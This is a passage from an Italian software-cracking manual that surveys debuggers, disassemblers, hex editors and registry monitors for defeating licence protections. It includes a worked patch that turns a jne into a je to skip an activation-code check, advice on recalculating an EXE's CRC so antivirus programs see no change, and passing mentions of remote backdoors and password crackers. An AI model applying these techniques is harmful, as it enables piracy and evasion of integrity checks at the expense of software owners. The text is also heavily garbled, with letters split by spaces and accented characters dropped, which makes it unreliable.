Quando i nvece si cer ca di gi unger e ad apr i r e por t e i n si st emi r emot i al l or a l e
conoscenze devono esser e anche r el at i ve ai pr ot ocol l i usat i dal l e r et i come ad
esempi o TCP/ I P ecc.
Mol t e backdoor vengono aper t e usando f unzi oni l egat e ai si st emi di post a
el et t r oni ca i nser i t i al l i vel l o di si st ema i n OS qual i Uni x, VMS o si mi l i a.

Linguaggio C, Basic o Pascal

La scr i t t ur a dei pr ogr ammi per esegui r e l e pat ch pu esser e esegui t a medi ant e
uno di quest i l i nguaggi .
Se si cer ca di apr i r e por t e i n si st emi r emot i al l or a sar necessar i o conoscer e
l i br er i e di f unzi oni per t al i l i nguaggi come pot r ebbe esser e Super TCP per l a
scr i t t ur a di sof t war e agganci at a al pr ot ocol l o TCP/ I P.
Sempr e con quest i l i nguaggi possi bi l e scr i ver e i pr ogr ammi di r i cer ca del l e
passwor d per i si st emi Uni x.
La conoscenza del l e f unzi oni di l i br er i a di al cuni l i nguaggi f aci l i t a l a r i cer ca
del l e f unzi oni da ut i l i zzar e come condi zi oni nei br eakpoi nt .
Se cer chi amo di i dent i f i car e i l punt o i n cui vi ene l et t a l a st r i nga di
ser i al i zzazi one di un pr ogr amma e quest o scr i t t o i n C, al or a i br eakpoi nt l i
pot r emo i nser i r e ut i l i zzando come f unzi oni da i nt er cet t ar e Get Dl gI t emText e
si mi l i .
Tut t i i l i nguaggi ut i l i zzano al l a base l e api di Wi ndows per cui si pot r ebbe
sempr e cer car e di i nt er cet t ar e quel l e a basso l i vel l o.
Chi ar ament e si compl i ca i l t ut t o i n qant o i l nost r o pr ogr amma i mpor t er l e
f unzi one xxxxx che cont enut a nel l a DLL yyyyyy l a qual e a sua vol t a i mpor t a e
f a r i f er i ment o al l a f unzi one Get Dl gI t emText che i n user 32. dl l .

Api di Windows ed Interrupts

Mol t e f unzi oni esegui t e dai pr ogr ammi sono ot t enut e medi ant e l a chi amat a a
f unzi oni del l e api di Wi ndows. Supponi amo che ad un cer t o punt o i n una mascher a
un pr ogr amma r i chi eda un codi ce si cur ament e ( o al meno pr obabi l ment e) ver r
esegui t a t r ami t e una f unzi one Get Dl gI t emText che f a appunt o par t e del si st ema di
Wi ndows.
Mol t e pr ot ezi oni sono agganci at e ad i nt er r upt s di si st ema che per met t ono
l accesso al di sco o a por t e ser i al i .
Al f i ne di i nt er cet t ar l i necessar i o conoscer e l a t eor i a sul l or o
f unzi onament o.

Debugger e disassemblatori

L esecuzi one passo a passo del pr ogr amma da col pi r e avvi ene t r ami t e debugger .
I l pi f amoso nel l ambi ent e si cur ament e Sof t I ce del l a NuMega.
Mol t i debugger vengono f or ni t i con i si st emi di svi l uppo come ad esempi o i l
Tur bo Debugger del l a Bor l and o i l CodeVi ew f or ni t o con i l compi l at or e C f i no
al l a ver si one 2. 0.
WDASM un ot t i mo pr ogr amma e di spone di un i nf i ni t di opzi oni .
Si pu f ar e una di st i nzi one t r a debugger e di sassembl at or e.
I l pr i mo vi sual i zza e spesso per met t e di sal var e i l codi ce assembl er anche se l a
sua f unzi one pr i bci pal e quel l a di segui r e passo a passo i l pr ogr amma e quel l o
di pot er set t ar e condi zi oni per i nt er r omper e i l f l usso a l or o ver i f i car si .
Al cuni pr odot t i svol gono
si a l a f unzi one di
di sassembl at or e che
quel l a di debugger ment r e
al t r i svol ogono sol o una
f unzi one.
I nol t r e bi sogna f ar e, nel
campo dei debugger s,
anche un al t r a
di f f er enzazi one.
Wi ndows un si st ema
mul t i t aski ng per cui i n
un moment o possono esser e
r esi dent i i n memor i a pi
pr ogr ammi e pi DLL
condi vi se t r a quest i .
Al cuni debugger s
r i chi edono i l nome del
pr ogr amma da debuggar e e
poi , dopo aver l o
car i cat o, segueno st ep by
st ep quel l o.
Al cune f nzi oni che per met t ono di el encar e l e f unzi oni i mpor t at e, l heap, l o
st ack ecc. f anno r 8i f er i ment o a quel l e speci f i che del pr ogr amma car i cat o.
Al t r i debugger , come Sof t I ce, sono di si st ema per cui di spongono di possi bi l i t
el evat e anche se sono pi compl essi da ut i l i zzar e.
Sof t I ce per met t e di debuggar e dr i ver s, devi ces ecc. ma i l suo ut i l i zzo pi
compl esso.
Le sue f unzi oni possi edono ar goment i che ser vono a speci f i car e a qual e pr ocesso
si r i f er i scono.
Ad esempi o i n un debugger si pot r ebbe set t ar e un beakpoi nt i n modo da f er mar e i l
pr ogr amma nel caso i n cui venga i nvi at o un messaggi o di WM_DESTROY.
Se i l debugger si r i f er i sce al sol o
pr ogr amma car i cat o non ci sono pr obl emi .
Nel caso i n cui ci s r i f er i sca a t ut t i
ni pr oess9i at t i vi nel si st ema ci si
dovr pr i ma usar e una f unzi one che
per met t a di r i cavar e l handl e del t ask,
del pr ocesson o del l a wi ndow a cui ci si
vuol e r i f er i r e e poi ut i l i zzar l a come
ar goment o per i l set t aggi o del
br eakpi ont i n modo che quest o si
r i f er i sca sol o al t ask i nt er essat o.
Le f unzi oni di sof t i ce per met t ono di
vi sual i zzar e l e cl assi , i t ask, gl i I D
dei pr ocessi , gl i handl e del l e wi ndows
ecc.
Pr ogr ammi come I DA non possi edono
f yunzi oni da debugger ma cr eano sor gent i
asssembl er di qual i t super i or e agl i
al t r i .
L anal i si f at t a da I DA el evat a e i
par amet r i per l a cr eazi one del sour ce
ASM sono t ant i .
I DA i nol t r e gest i sce mol t i pr ocessor i e gi i n f ase di l et t ur a i ni zi al e del
pr ogr amma r i esce ad i dent i f i car e i modul i associ at i e per met t e di speci f i car e
mol t e opzi oni di anal i si .
I DA possi ede car at t er i st i che super i or i per quant o r i guar da l a r i cost r uzi one dei
dat a segment si no a r i usci r e a i dent i f i car e, i n al cuni casi , st r ut t ur e e ogget t i
r i f er i t i appunt o ai dat i .
WDASM possi ede un buon f at t or e r el at i vo al l a pr eci si one del sor gent e assembl er
cr eat o ma si cur ament e non gi nge a qual l e di I DA.
Un al t r o di sassembl at or e SOURCER anche se con quest o, per r i cr ear e pr ogr ammi
Wi ndows, bi sogna segui r e pi passaggi .
Sour cer ha una buobna t r adi zi one dur at a anni .
Per sonal ment e l o r i cor do dal 1987.
Di spone di una sol a mascher a i n cui sono def i ni t i i par ament r i di anal i si .
Ri t or nando a Sof t I ce l o r i t er r ei sol t ant o un debugger e non un di sassembl at or e.


Viewer hex

Dopo aver i dent i f i cat o l e modi f i che da appor t ar e a l i vel l o di i st r uzi oni
assembl at e quest e dovr anno esser e codi f i cat e i n esadeci mal e e dovr anno esser e
scr i t t e dent r o al pr ogr amma t r ami t e un edi t or esadeci mal e.
Facci amo un esempi o pr at i co.
Supponi amo di aver e una chi amat a ad una f unzi one che esegua l a r i chi est a
d i nser i ment o del codi ce d at t i vazi one e al r i t or no dal l a chi amat a ci si a i l
cont r ol l o r el at i vo al l a cor r et t ezza.
I l codi ce pot r ebbe esser e :

E891D9F5D1 call 00404567
38FD cmp esi, eax ; controlla la correttezza
754E jne 00404445 ; se errato salta a ....

I l codi ce pot r ebbe esser e modi f i cat o
i nver t endo l e condi zi oni di sal t o ovver o
:

je 00404445

I l codi ce oper at i vo dovr ebbe esser e
cambi at o da 75 a 74 per cui i val or i
esadeci mal i da i nser i r e dovr ebber o
di vent ar e :

744E je 00404445

Medi ant e edi t or HEX pot r emmo
r i cer car e l a sequenza 754E medi ant e
l e apposi t e opzi oni e successi vament e
i nser i r e i l nuovo val or e.
La f i nest r a di r i cer ca qui a f i anco
cor r i sponde a quel l a di HEX WORKSHOP
ma comunque i n qual si asi edi t or HEX
esi st e l a possi bi l i t di r i cer car e
sequenze di val or i esadeci mal i .
Pr i ma di esegui r e l e modi f i che sul
f i l e pr endet evi cur a dei cr ear vi una
copi a di backup del f i l e or i gi nal e i n modo da pot er l o sost i t ui r e nuovament e nel
caso i n cui non f unzi oni pi .


Analizzatori del file di registro

Mol t i dat i l egat i al l e l i cenze dei sof t war e ecc. sono memor i zzat i dent r o al f i l e
di r egi st r o.
Per l anal i si di quest i esi st ono di ver si pr ogr ammi pi o meno compl et i .
Al cuni eseguono sol o l et t ur e e scr i t t ur e nel f i l e al t r i i nvece sono i n gr ado di
t ener l i sot t o osser vazi one per veder e l e modi f i che che vengono appor t at e da
cer t i pr ogr ammi .
Nel l e Nor t on Ut i l i t i es se ne t r ova uno ed i n ogni modo t r a l o shar ewar e ce ne
sono mol t i ssi mi t r a cui uno speci al i zzat o per i CRACKATORI Wi n- eXpose- Regi st r y.
Al cuni pr ogr ammi cont r ol l ano t ut t e l e modi f i che che vengono appor t at e al si st ema
compr ese scr i t t ur e e cancel l azi oni dai f i l e WI N. I NI e SYSTEM. I NI e aggi unt a di
pr ogr ammi al f i l e syst emdel si st ema.

File vari

Esi st ono di ver si f i l es che di vent ano ut i l i i n al cune ci r cost anze.
Al cuni cr ackano i f i l es . ZI P, al t r i cer cano passwor d sot t o NT o Uni x.
Un f i l e essenzi al e i n mol t i casi I COMP i l qual e r eper i bi l e anche nel l a
ver si one f or ni t a con i l Bor l and C di I nst al l Shi el d.
Si t r at t a del compr essor e.
Al cuni pr ogr ammi come ad esempi o l i br er i e, act i veX ecc. vengono f or ni t i
compr essi medi ant e quest o compr essor e.
Per pot er debuggar e i l codi ce necessar i o decompr i mer e i f i l es di l i br er i a.
Quando vi ene i nst al l at o un f i l e medi ant e I nst al l Shi el d nel l a di r ect or y
t empor anea del vost r o si st ema t r over et e i seguent i f i l es:

_SETUP.LIB
SETUP.EXE
_SETUP.DLL
SETUP.PKG
SETUP.INS

_SETUP. LI B un dat abase compr esso da I nst al l Shi el d i l qual e pu cont ener e f i l es
esegui bi l i e dl l di suppor t o al l i nst al l azi one.
Al cune vol t e quest i f i l es di
suppor t o sono nel l a st essa
di r ect or y di SETUP. EXE ma
al t r e vol t e sono compr esse
dent r o a quest o f i l e.
Un f i l e spesso ut i l e l o
Spy++ f or ni t o con i l i nguaggi
Mi cr osof t o l ut i l i t y si mi l ar e
f or ni t a dal l a Bor l and.
Spy++ i n gr ado di spi ar e
t ut t i i messaggi i ndi r i zzat i
al l e f i nest r e aper t e i n
Wi ndows con l a possi bi l i t di
sel ezi onar e qual i ed i n
par t i col ar e modo ha l a
possi bi l i t di f i l t r ar e i t i pi
di messaggi .
Al cune vol t e f aci l e dedur r e
con qual i f unzi oni vengono
esegui t e l e l et t ur e dei codi ci
di ser i al i zzazi one ment r e al t r e vol t e t al i f unzi oni non vengono svol t e nei modi
cl assi ci , con Get Dl gI t emText o si mi l i a, e qui ndi di vent a pi compl esso
i dent i f i car e i l punt o gi ust o dove met t er e br eakpoi nt .
Sof t I ce possi ede un met odo per gest i r e i n backt r ace ma comunque l i ndi vi duazi one
del punt o gi ust o f aci l i t a compi t i .
Medi ant e una f unzi one par t i col ar e di Spy++ possi bi l e sel ezi onar e qual e
f i nest r a met t er e sot t o osser vazi one.
I n una f i nest r a di Spy++ esi st e un cur sor e che pu esser e agganci at o con i l
mouse e t r aspor t at o sul l a f i nest r a
i nt er essat a.
Di quest a f i nest r a ver r
sel ezi onat o l handl e.
Successi vament e possono esser e
scel t i i messaggi che si vogl i ono
i nt er cet t ar e sel ezi onandol i dal l a
l i st a dei messaggi ver i e pr opr i
oppur e scegl i endo l a cl asse degl i
ogget t i Wi ndows l egat i al l a
t i pol ogi a dei messaggi ( pul sant i ,
edi t f i el d ecc. )
Tant e ut i l i t i es r eper i bi l i su
I nt er net o nei di schi dei
compi l at or i e OS possono di vent ar e
ut i l i i n cer t e ci r cost anze.
Pr ogr ammi come, ad esempi o,
DUMPBI N. EXE, EDI TBI N. EXE ecc.
er ano pr esent i i n al cune ver si oni
vecchi e del compi l at or e Mi cr osof t .
Anche i l vecchi o DEBUG. COM del DOS
al cune vol t e pu esser e ut i l e.
Ri cor dat evi sempr e che spesso, ad esempi o nel l a gr af i ca, un sol o pr ogr amma pu
f ar e l e cose ma due o t r e l e possono sempl i f i car e.
Pensat e quando ad esempi o usat e un pr ogr amma per f ar e scr i t t e a 3 di mensi oni .
Un al t r o pr ogr amma l o usat e per f ar e l o sf ondo ed un t er zo ancor a per f onder e l e
due i mmagi ni di pr i ma e per cr ear ci degl i ef f et t i .
I n quest o campo i l di scor so l o st esso.
Spesso pot r est e t r ovar vi nel l e
canne debuggando con Sof t I ce e
qui ndi pot r est e pr ender e DASM per
anal i zzar e qual che bl occo
par t i col ar e e dopo aver e
i dent i f i cat o l a posi zi one usar e
nuovament e Sof t I ce per pr osegui r e.
Al t r e vol t e l uso di di ver si
pr ogr ammi obbl i gat or i o i n quant o
uno vi ene usat o per decr ypt ar e i l
si st ema di pr ot ezi one a t empo.
Un al t r o per anal i zzar e i l
pr ogr amma ed un al t r o per scr i ver e
su di sco i cambi ament i .
Usar e sempr e gl i st essi pr ogr ammi
sempl i f i ca l a vi t a anche per ch
al cuni pr et endono mol t o t empo per
pot er l i usar e con di mest i chezza e
qui ndi vi st i gl i sf or zi f at t i
convi ene poi f ar l i f r ut t ar e.
Spesso si cambi ano l e cose non per ch non soddi sf ano pi ma sol o per ch di
moda aver sempr e l ul t i ma ver si one.
I n quest o campo conver r ebbe veder e i r i sul t at i .
Se con un debugger si r i esce sempr e ad aver e sot t omano l e f unzi oni necessar i e
non convi ene cambi ar e spesso anche per ch i n quel modo al l a f i ne si
conoscer ebber o t ant i pr ogr ammi ma nessuno bene.
Sof t I ce possi ede, ad esempi o, una cos ampi a possi bi l i t di br eakpoi nt che l a
di f f i col t quel l a di ar r i var e a compr ender e bene quando convi ene usar ne un
t i po e quando i nvece convi ene usar ne un al t r o t i po.
Al cune vol t e bi sogna r i cer car e nei pr odot t i ut i l i zzat i per l a cr eazi one dei
pr ogr ammi o dei set t aggi l e ut i l i t y.
Pr i ma di cevo di I COMP ovver o del l ut i l i t y di compr essi one usat o da
I nst al l Shi el d.
Per pot er esegui r e i l cr acki ng necessar i o pr i ma scompat t ar e i modul i cr eat i
dal gest or e del l e i nst al l azi oni e poi esegui r e i l set up t r ami t e debugger .
Un pr ogr amma par t i col ar e SMARTCHECK sempr e del l a NuMega che anche se
abbast anza cr i t i cat o, al cune vol t e per met t e di r aggi unger e degl i obbi et t i vi
senza i mpazzi r e con al t r i st r ument i pi compl essi .

Smar t Check un debugger di r un- t i me che per met t e di af f r ont ar e l e condi zi oni
pi cr i t i che i ncont r at e con Vi sual Basi c.

Errori fatali di run-time che sono complessi da risolvere
Problemi che nascono da seuqenze di azioni
Uso no corretto di funzioni API
Cattivi valori passati come argomenti alle funzioni
Gestione di valori complessi
Errori delle componenti come ActiveX ecc.

Per quant o ci r i guar da i nt er essant e veder e come Smar t Check f unzi ona.
Come vi ene eseui t o un . EXE SC cont i nua a f unzi onar e i n backgr ound moni t or andol o
i n cont i nuazi one e cat t ur ando t ut t i gl i event i .
Dur ant e l esecuzi one ossi bi l e abi l i t ar e o di sabi l i t ar e i l r epor t degl i event i .
SM cer ca aut omat i cament e gl i er r or i nel pr ogr amma e nel l e DLL associ at e.
Quest o f unzi ona anche su pr ogr ammi senza sor gent i ( cosa per noi f ondament al e) .
Comunque l a cosa mi gl i or e st nel f at t o che SM cont r ol l a t ut t e l e chi amat e al l e
API , t ut t i i messaggi e t ut t i gl i al t r i event i del pr ogr ammna.

I n quest o vol ume vedr di t r at t ar e t ut t o quel l o che e necessar i o saper e.
Una par t e dedi cat a al l a t eor i a dest i nat a a spi egar e l a f i l osof i a di cer t i
l i nguaggi , di cer t i t i pi di pr ot ezi oni e di cer t i si st emi di svi l uppo.
La par t e pr at i ca ut i l i zzer si st emi f aci l ment e r eper i bi l i su I nt er net .
Vi r i por t er i nf or mazi oni i n due r i pr ese e dove pr ocur ar vel i .
Nel l a pr i ma f ase f ar emo una panor ami ca di t ut t i i t i pi di pr ogr ammi ment r e nel l a
seconda vedr emo l a si nt assi e degl i esempi d uso.
Ri por t er anche del l e mappe con su i gr uppi di sof t war e che pot r ebber o esser e
adot t at i i n un caso o nel l al t r o.
I l manual e t r at t er anche esempi por t at i i n di ver si l i nguaggi anche se
si cur ament e i l C quel l o pi t r at t at o.
Come r i pet er successi vament e ver r r i por t at a l a si nt assi Assembl er anche se di
f at t o non un manual e di pr ogr ammazi one.
Le conoscenze che si devono aver e l egat e a quest o l i nguaggi o sono quel l e
necessar i e per pot er segui r e i l f l usso medi ant e un debugger .
La si nt assi del l Assembl er r i por t a t er mi ni che i l compi l at or e e i l l i nker
el i mi nano e qui ndi anal i zzando i l f i l e esegui bi l e non sono pi vi si bi l i .
Per f ar e un esempi o nel l a pr ogr ammazi one i n Assembl er esi st e l a t eor i a del l a
def i ni zi one dei gr uppi di segment i ecc.
Quest a t eor i a f a si che i l sor gent e debba esser e compi l at o ( scr i t t o) i n un cer t o
modo.

include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS

I l compi l at or e e i l l i nker t r adur r t ant e i nf or mazi oni e t er mi ni del l i nguaggi o
i n i ndi r i zzi f i si ci e quest o i n par t i col ar e modo vi st i con i l debugger i n f ase
di esecuzi one.
Se i o i n un sor gent e Assembl er scr i vo :

label:
mov ax.1
jmp label

eseguo un r i f er i ment o si mbol i co che i l compi l at or e t r aduce i n un r i f er i ment o
r i l ocabi l e.
Ut i l i zzando t abel l e di r i l ocazi one e f at t or i f i si ci l egat i al l a memor i a ed al
si st ema oper at i vo, i l pr ogr amma quando vi ene l et t o i n memor i a non possi ede pi
quei r i f er i ment i i n quel modo ma ut i l i zzer r i f er i ment i ad i ndi r i zzi r eal i od i n
modo di r et t o usando
l i ndi r i zzament o a 32 bi t s o
ut i l i zzando i l met odo del l a
segment azi one.
I n pr at i ca, i nvece del codi ce
pr ecedent e, t r over emo :

0040:4555 ...
0040:6900 mov ax, 1
0040:6910 jmp 0040:4555

Al cuni debugger e di sassembl at or i
t ent ano di r i gener ar e i sor gent i
i n modo pi si mi l e al l or i gi nal e
possi bi l e ma non possono f ar e i
mi r acol i .
Quando i pr ogr ammi sono scr i t t i i n J ava al l or a l a conoscenza del l i nguaggi o
essenzi al e i n quant o i l f l usso dovr esser e segui t o i n J ava.
Pr i ma di i ni zi ar e a veder e l e var i e t eor i e di amo un occhi at a agl i st r ument i che
bi sogner ebbe aver e per pot er esegui r e cer t e oper azi oni .
Tenet e pr esent e che nei casi i n cui vengono r i por t at e t abel l e con l e f unzi oni
dei pr ogr ammi t r at t at i sono quasi sempr e f i l es t r ovat i su I nt er net non sogget t i
a Copyr i ght , e qui ndi r i por t abi l i , e che ho mant enut o nel l a l i ngua or i gi nal e per
evi t ar e di r i por t ar e i nt er pr et azi oni per sonal i .
I nf at t i gener al ment e vengono gar ant i t i i per messi di pubbl i cazi one di cer t i
document i nel l a l or o f or ma or i gi nal e senza che quest i possano esser e al t er at i o
manomessi i n qual si asi modo.

DISASSEMBLATORI

IDA 3.85
DataRescue sa/nv PHONE: 32-4-3446510
45 quai de la Derivation FAX: 32-4-3446514
4020 Liege
Belgium
VAT : BE-448.270.553


Qui ci t r ovi amo di nanzi al r e dei di sassembl at or i .
Sol o per f ar e capi r e l a di f f er enza ut i l i zzando i l vi l e byt e come conf r ont o
possi amo di r e che WDASM un f i l e di 600Kbyt es compat t at o ment r e i n quest o caso
i l demo del l a ver si one 3. 85 un f i l e compat t at o di 16 Mbyt es.
La di f f er enza c e si vede anche per l e f unzi oni e per l accur at ezza del l a
t r aduzi one del codi ce.
I n WDASM l e f unzi oni del pr ogr amma devono esser e i ndi vi duat e dal l a per sona
medi ant e i r i f er i ment i del l e var i e cal l .
Qui l a r i cost r uzi one compl et a.
Le opzi oni per l anal i si e l a r i cost r uzi one del pr ogr amma sor gent e sono
i nnumer evol i .
L i nt er f acci a DOS wi ndovi zzat a anche se si ncer ament e l a pr ef er i sco a quel l a

i nt er ament e Wi ndows.
Al l a dat a at t ual e ( 10- 99) l a ver si one l a 3. 85 anche se di sponi bi l e su
I nt er net , a par t e l a ver si one cr ackat a, anche una ver si one FREEWARE.
I nol t r e esi st e l a possi bi l i t di esegui r e l e anal i si i n base a di ver si
pr ocessor i sel ezi onabi l i da una l unga l i st a.
I DA r i esce a r i cost r ui r e anche l e st r ut t ur e cosa che vi ene consi der at a sol o come
ast r azi one nei l i nguaggi a pi al t o l i vel l o.
I l pr ogr amma pu most r ar e i nf i ni t e i nf or mazi oni i n f i nest r e separ at e.


Ri cor dat evi pr i ma di pr el evar e i l 16 mbyt es del pr ogr amma dal si t o di I DA che i l
f i l e di spone del l e seguent i l i mi t azi oni .


Limitations

- you will not be able to load old databases
- you will not be able to produce .lst or .asm files
- you will not be able to disassemble files larger than 64kbytes.
- this version will expire September 1st, 1998


The full versions comes with

- unlimited database support
- unlimited output support
- file size limit of 64MB
- no expiration date


JAD (per linguaggio JAVA)
Jad - the fast Java Decompiler.
Jad home page: http://web.unicom.com.cy/~kpd/jad.html
Copyright 1997-98 Pavel Kouznetsov.

Si t r at t a di un pr ogr amma che si at t i va da Dos e che necessi t a di ar goment i
sul l a l i nea di comando.
La si nt assi quel l a most r at a nel l i mmagi ne:
Se di sponet e del l e monogr af i e di I oPr ogr ammo r el at i ve a J ava l o t r over et e
dent r o.
For nendogl i i n i nput un f i l e . cl ass avr et e i n out put un f i l e . j ava.

W32/16DASM89
W32DASM Ver 8.xx Series is designed for Windows 95 and Windows NT 4.0.
http://www.epage.com/page/w32dasm

Si t r at t a di
un pot ent e
di sassembl at or
i / debugger che
i n gr ado di
r i cost r ui r e l e
t abel l e l egat e
al l e API
i mpor t at e e
qui ndi i n
gr ado di
most r ar e dove
avvengono t al i
chi amat e ecc.
Nel caso di
i nser i ment o di
codi ci di
at t i vazi one
una f unzi one
i mpor t ant i ssi m
a i n quant o
per met t e di
non i mpazzi r e
cer cando i r i f er i ment i t r ami t e gl i i ndi r i zzi .
I l pr ogr amma apr e di ver se f i nest r e i n cui vengono most r at e mol t i ssi me
i nf or mazi oni
l egat e al l a
memor i a ed ai
r egi st r i .
L esecuzi one
possi bi l e con
mol t e modal i t
come ad esempi o
quel l a passo a
passo con by- pass
del l e f unzi oni
medi ant e comando
manual e, quel l a
passo a passo i n
aut omat i co ecc.
Sono possi bi l i
di ver si
br eakpoi nt
compr esi quel l i
che avvi sano
quando i l vi ene
r i chi amat a
qual che DLL o
quando vengono
cr eat e del l e
t hr eads.
I sor gent i
r i cavat i sono
ver ament e mol t o
det t agl i at i .
Come di cevo pr i ma
dove possi bi l e
WDASM r i cr ea l e i nf or mazi oni si mbol i che.

MSVBVM60.__vbaAryDestruct
MSVBVM60.__vbaAryLock
MSVBVM60.__vbaAryUnlock
MSVBVM60.__vbaBoolVarNull
MSVBVM60.__vbaCastObj
MSVBVM60.__vbaCastObjVar

Ad esempi o quel l e pr ecedent i sono al cune chi amat e al modul o del Vi sual Basi c
f at t e dal pr ogr amma di sassembl at o.

HEX WORKSHOP
Hex Workshop, the Professional Hex Editor v2.0
32 bit version - HWORKS32.ZIP
CompuServe: 75554,377
America Online: BreakPoint
Microsoft Network: BreakPoint_Software
Internet: [email protected]

Quando si ar r i va ad i dent i f i car e l e pr ocedur e dove vengono esegui t e l e
pr ot ezi oni bi sogna scr i ver e i l codi ce per by- passar l e.
I l codi ce pu esser e bi deat o i n assembl er anche se poi deve esser e t r adot t o i n
exadeci mal e per esser e scr i t t o dent r o al modul o esegui bi l e dove r esi dent e l a
pr ot ezi one ver a e pr opr i a.
Nel capi t ol o r el at i vo al l assembl er ho r i por t at o l e t abel l e con i codi ci
oper at i vi i n esadeci mal e pr opr i o per quest o mot i vo.
Gener al ment e l e cose possono esser e sempl i ci i n quant o spesso si t r at t a di
cambi ar e dei SALTA_SE_UGUALE i n SALTA_SE_DI VERSO e qui ndi i l codi ce or i gi nar i o
necessi t a di pochi ssi me modi f i che che comunque devono esser e i nser i t e t r ami t e
edi t or hex.
HexWor kshop sol o uno ma ne esi st ono al t r i che t r a poco vi most r er .



HACKMAN
Hackman v3.0
http://members.tripod.com/~techmasters
mailto:[email protected]

Hackman un ot t i mo edi t or hex i n quant o
di spone di mol t i ssi me f unzi oni t r a cui un
vi sual i zzat or e i n assembl er .
Quest a f unzi one spesso ut i l e quando si
cer cano par t i speci al i di codi ce per esser e
si cur i del posi zi onament o. Quando si cer cano
l e i st r uzi oni i n cui vengono esegui t e l e
pr ot ezi oni bi sogna memor i zzar si da qual che
par t e l e sequenze di codi ci esadeci mal i
r el at i ve al l e i st r uzi oni st esse.
Quest e i nf or mazi oni dovr anno esser e
f or ni t e come ar goment i per l e r i cer che
dent r o al f i l e esegui bi l e i n modo t al e
da pot er i nser i r e l e modi f i che por pr i o
i n quel punt o.
Spesso l e seuquenze di val or i hex si
r i pet ono dent r o ad un pr ogr amma ed
f aci l e per der ci gl i occhi i n mezzo a
pagi ne pi ene di 0x4D 0xFF ecc.
Dar e un occhi at a di conf er ma al codi ce
assembl at i vo non di spi ace.
HackMan di spone i nol t r e di mol t e
opzi oni che per met t ono di set t ar e l e
modal i t di vi sual i zzazi one dei dat i .
Spesso si ha a che f ar e con f i l e con di f f er ent e byt e or der .
Esi st e i nf at t i una di f f er enza t r a i l f or mat o I nt el e quel l o Mot or ol a.
HackMan per met t e di set t ar e anche i l byt e or der .
Tr a l e al t r e cose i nser i t o un cal col at or e hex.


HIEW


Mol t i hacker consi gl i ano HI EW.
Devo ammet t er e che HI EW di spone di mol t e ot t i me f unzi oni anche se non un
pr ogr amma Wi ndows.
Una f unzi one buona che quel l a di most r ar e l header di un f i l e EXE edi t at o.
Dent r o ad un f i l e
. EXE esi st e un CRC
che per met t e a
cer t i pr ogr ammi di
ver i f i car e se i l
pr ogr amma or i gi nal e
ha subi t o del l e
modi f i che, di aci amo
non aut or i zzat e.
Sono i nol t r e
r i por t at e dent r o
al l header mol t e
al t r e i nf or mazi oni
l egat e al l a
r i l ocazi one del
pr ogr amma, al
numer o di pagi ne
ecc.
La cosa ot t i mal e
sar ebbe quel l a di
esegui r e l a
modi f i ca al codi ce del f i l e . EXE e qui ndi di r i cal col ar e i l CRC i n modo da non
most r ar e anomal i e ai pr ogr ammi t i po gl i ant i vi r us.
Esi st ono al cune ut i l i t y che per met t ono di f ar e quest o l avor o e t r a poco ne
par l er emo.
L uni ca seccat ur a st nel f at t o che i l pr ogr amma deve esser e necessar i ament e
l anci at o con i l nome del f i l e da edi t ar e come ar goment o.
Anche HI EWper met t e di most r ar e i l codi ce i n assembl er .

HI EWpossi ede anche l opzi one per
most r ar e i l codi ce come se f osse
a 16 bi t s oppur e a 32 bi t s.
Anche se mol t i edi t or HEX
di spongono del l a possi bi l i t di
most r ar e i l codi ce assembl er
quest i non possono comunque
sost i t ui r e i di sassembl at or i ed i
debugger i qual i a di f f er enza dei
nor mal i edi t or possi edono l a
possi bi l i t di esegui r e passo a
passo i pr ogr ammi senza cont ar e
che anche possi bi l e
vi sual i zzar e t abel l e r el at i ve al
pr ogr amma st esso come ad esempi o f unzi oni espor t at e ecc.





WINDEBUGGER


Dent r o a pr odot t i come Vi sual C++ vi ene f or ni t o i l debugger di Vi sual St udi o.
Mi cr osof t una vol t a ogni t ant o di st r i bui sce dei bl occhi di pr ogr ammi e f i l e
cont enent i i nf or mazi oni ed ut i l i t i es per l ambi ent e Wi ndows.
WI NDEBUGGER pr esent e nel pacchet t o r i l asci at o nel set t embr e 1999.
I n pr at i ca ha gl i st essi comandi del debugger di Vi sual St udi o t ant o da pot er
esser e consi der at o l o st esso ma est er no a quest o.
Si cur ament e l a pot enza di un debugger anche i n f unzi one al l a gamma di
br eakpoi nt che pu gest i r e.
I l si st ema di br eakpoi nt di Wi nDebugger possi ede un i nt er pr et e met aci r col ar e.
Quest o si gni f i ca che possi bi l e esegui r e dei comandi quando si at t i va un
br eakpoi nt .
I l si st ema di br eakpoi nt di WDBG per met t e di usar e qual si asi i st r uzi one di
val ut azi one del C come cost r ut t o condi zi onal e per i l br eakpoi nt st esso.
Ad esempi o per bl occar e i l pr ogr amma ogni vol t a che i l cont enut o di una
var i abi l e cambi at o possi bi l e usar e i l cost r ut t o dent r o al l a f i nest r a di
set t aggi o del l espr essi one :

&<nomevariabile>

Quest a t ecni ca non f unzi ona con l e var i abi l i aut omat i che i n quant o l i ndi r i zzo
pu cambi ar e essendo i n f unzi one del l o st ack i l qual e cambi a ogni vol t a che si
ent r a i n una f unzi one.
Quest o i l caso i n cui i l br eakpoi nt dovr ebbe cambi ar e di nami cament e.
Per quest o scopo i l br eakpoi nt deve esser e abi l i t at o ogni vol t a che l a f unzi one
par t e e di sabi l i t at o i n usci t a.
Supponi amo che l a nost r a f unzi one si chi ami subr out i ne e che l a var i abi l e l ocal e
aut omat i ca si a i .
Fat e par t i r e i l pr ogr amma ed esegui t e l o st ep per ent r ar e nel l a f unzi one che
def i ni sce l a var i abi l e i con :

g subroutine
p
bp500 ={subroutine}&i /r4 /C"?i"

I l numer o del br eakpoi nt deve esser e scel t o suf f i ci ent ement e gr osso da esser e
di st ant e dai numer i degl i al t r i br eakpoi nt s.
Not at e che / r 4 di ce che l a var i abi l e l unga 4 byt es ovver o l e di mensi oni di un
i nt .
Dopo aver f at t o quest o di sabi l i t at e i l br eakpoi nt con

bd500

I l secondo br eakpoi nt vi ene cr eat o sul l ent r y poi nt del l a f unzi one.

bp .<FirstLine> /C"be 500;g"

La pr i ma l i nea del l a f unzi one, l ent r y- poi nt , i l punt o i n cui deve esser e
abi l i t at o i l nost r o br eakpoi nt .
L ul t i mo br eakpoi nt deve esser e cr eat o sul l ul t i ma l i nea del l a f unzi one.

bp .<LastLine> /C"bd 500;g"

